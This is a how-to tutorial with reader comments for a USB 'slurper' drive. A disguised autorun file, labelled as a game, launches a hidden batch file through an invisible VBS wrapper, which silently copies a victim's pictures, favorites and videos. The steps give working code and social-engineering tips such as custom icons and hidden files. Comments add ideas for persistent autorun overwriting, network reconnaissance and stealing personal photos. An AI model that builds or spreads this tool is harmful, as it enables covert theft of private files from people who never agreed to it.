How to make flash drive that copy's users files silently and automatically

Picture of How to make flash drive that copy's users files silently and automatically

How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Remove these adsRemove these ads by Signing Up

Step 1: Materials needed

Picture of Materials needed
Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.

Step 2: Create autorun file for the flash drive

Picture of Create autorun file for the flash drive
Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.

action=Click ok to Run game for Windows

a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

Step 3: Make the file for copy of documents to drive

Picture of Make the file for copy of documents to drive
This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off

what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

very clever huh

Step 4: Make vb script to run batch file as invisible

Picture of Make vb script to run batch file as invisible
This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.


CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False


Step 5: Make a batch file to launch vb script and file.batch

Picture of make a batch file to launch vb script and file.batch
ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.
create with word and save as launch.bat


wscript.exe \invisible.vbs file.bat


Step 6: Create folder to save files withing thumb drive.

Picture of Create folder to save files withing thumb drive.
Go to the root of the thumb drive and create a folder named all that's it for this step. All the documents will be saved in this folder in there separate folders.

Step 7: Put all files in root of drive and try out

Picture of put all files in root of drive and try out
Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking
« Previous41-80 of 289Next »
jbouffard3 years ago
any way to make to see it when i press (for example) the "c" key?
thanks in advance
jj.inc3 years ago
Doesn't work in windows 7, only Vista and XP, windows removed the autorun from flashdrives for security reasons.
amlis3 years ago
i tryed your program but it wouldn't automatically come up
minijc3 years ago
can somebody just put the code in that you need
Really cool idea, but your DOSing needs some work. Like, a lot off work.
":: variables" ?
"/min" '/min' is not recognized as an internal or external command, operable program or batch file.
"SET odrive=%odrive:~0,2%" I'm sure this has a use, but I can't figure out what it is.
And lastly, you only need "@Echo off" at the beginning of the batch.

Still a really cool idea though :)
Actually, you need some DOSing work if you don't get this. it took me a couple of hours to find out what it does. first, the ::variables is just a comment, they are not run, it just lets you know what it is while editing. the /min, was most likely used to run something minimized. and almost the last but not least, the SET odrive=%odrive:~0,2% has a very important use.

copied from cmd help itself states:

would expand the PATH environment variable, and then use only the 5
characters that begin at the 11th (offset 10) character of the expanded
result. If the length is not specified, then it defaults to the
remainder of the variable value. If either number (offset or length) is
negative, then the number used is the length of the environment variable
value added to the offset or length specified.


would extract the last 10 characters of the PATH variable.


would extract all but the last 2 characters of the PATH variable.
so what it is saying is............, sets the variable odrive to %odrive:~0,2%
now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.
which in turn would be the drive and the colon.

such as
and so on and so forth.

and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.
Anyway to search for a specific Volume label and set %drive% to that drive letter?
answered my own question. The code below is what I have.


works great with this:


use bat to exe found here:


to convert the batch file to an exe file. You can even include your own icon and set it to run silently. place the generated .exe and the ini file for u3-autorun and profit in education!
Hi, I'm kind of new to this but so far I'm making it work. Currently I'm running Windows OS 7, and having some difficulty getting the auto run file to boot as soon the the flash drive is inserted. After some research of my own I found out that windows 7 is not compatible with auto run file on a flash drive, any suggestions would be helpful as to an alternative.

I have been able to get this to work just by going into the flash drive once its inserted and double clicking on the File.bat.

Also, If anyone could help me out with an install script for a separate program to be run simotaneously from this one on the same flash drive. Thanks a ton.
at the beginning of your Batch file try

start myaltprogram.exe

This should open a second cmd window and run the program simultaneously.
nazirahmad3 years ago
hi: i did the steps but its not working ? some one help me!
Hey, I'm just wondering, what are you using, vista, mac, or windows
Well, Vista is a version of Windows. It looks to me, from his screenshots, that he is using Vista or 7. DEFINITELY not Mac, as is obvious from the .vbs file, the .exe files, the .bat file, and the .inf file. Macs don't use those kinds of files. Also, the buttons on the windows are on the left on Macs, on the right on Windows. In his screenshots, they're on the right, therefore it's Windows.
Thats logical
For a vbs scripter and batch maker like me getting a mac is out of the question for what you just said.
you can get a program called leftsider to swap the buttons around
Yes, but I don't think a soldier in Iraq would really care
Dude, Vista is Windows.
serisouly get your OS's straight....
Why does it run so slow??? Used it on a HP 6500 with a Sandisk Cruzer 8G... Also I converted the .bat file to .exe Would that make a difference maybe?
cooltg4 years ago
The folder with the system name is made.....BUT NO FILES ARE BEING COPIED........please help out.... it's urgent.. :(
lo3tboyz4 years ago
this instructable is totaly awesome!!!! it workzzzzzzzz..thx dude
Mistersalt4 years ago
Thanks! This sounds great! I can't wait to try this out. But on the down side, I'll need to buy a usb.I already have one, but i like to use that for general purposes, not pranking stuff.

Thanks again, this is such a unique idea!
axeman9114 years ago
srry but really hard to understand
The Droid4 years ago
Because you used the "If exist autorun.inf" it will not work for every user that has an autorun already on the drive. By instead overwriting the autorun with "echo blablablabla > %drive%autorun.inf", the user will still have an autorun, but your autorun. Besides, if you check for the file that you've already copied to it (i.e. a virus or something) then the autorun will be the one you want already. You could also have it copy it on the thumb drive for every loop of the program, so that the autorun, if edited or deleted, will always come back, unless the user stops the program process.
avibank9114 years ago
Hey Im so excited to use this! me and my mates were gonna spend days trynna figure out how to do this!! thanks a ton!

Do you think you could make the thumb drive pull a folder that you know only part of its name by adding a wild card ? strictly for example:

%backupcmd% "%USERPROFILE%\music" "%drive%\all\*SATS*

jgustin134 years ago
this won't work on windows 7 because microsoft tightened alot of security holes
jash1236 years ago
btw i also have a U3 sandisk flash drive...would that be of any benefit?? thanks
A U3 drive has a hidden partition that acts as a cd, this hidden cd image runs the U3 program without ANY user input if they have autorun enabled, and runs silently in the background. U3 makes a program that will change the cd image on the flash drive so that you will be able to run another program when the flash drive is inserted. I recommend that you check this instructable out if you want to use your drive.
dhynds1005 years ago
nice batch file lol but why dont you put a bit more flair in to it and gain all ip address and domain info and set uer self up a account to have a new net gate way, rather than just get the sounds lol eg net view > allWorkGroupPC.txt this will put a txt file were the .bat is with the results from the command.
Don't forget to add a continue on error code. Can't have a silly mistake in one part bringing down your plot of world domination via nude picture theft from a teen girls laptop...
knoxarama6 years ago
so if your a soldier in iraq, does that mean you got this from like the U.S. government or something? oh and, GO SOLDIERS, U ROCK KEEP OUR COUNTRY SAFE!!!!!! U GUYS ROCK!!!! GOD BLESS OUR TROOPS!!!!!
No this is basic batch nonsense. The admins of the military's network are one step ahead with

Value = 3

No USB storage devices. Local admin account disabled to prevent someone from running ERD or NTCRACK, and admin accounts tied to your ID card you use to login.
and why does the DOIM do this? for tweaks just like this one. the machine and the data on it is property of the us government. violation of a DoD OpOrd is an article 15 punishable offense...nuff said. this is for "HOME" use.
So that's how they do it at school.
if it works it works. i've tried it and it works. it's useful. nonsense or not, if you can copy files off of a computer like that with such simple code it is something worth looking at.
that right let god bless the soldiers in a good way.
Stormrage5 years ago
Its a cool instructable... tried it works... but i wonder how can i make a prog for this thing to work on Linux (exactly Edubuntu) but to copy more and to copy from another usb if inserted?
« Previous41-80 of 289Next »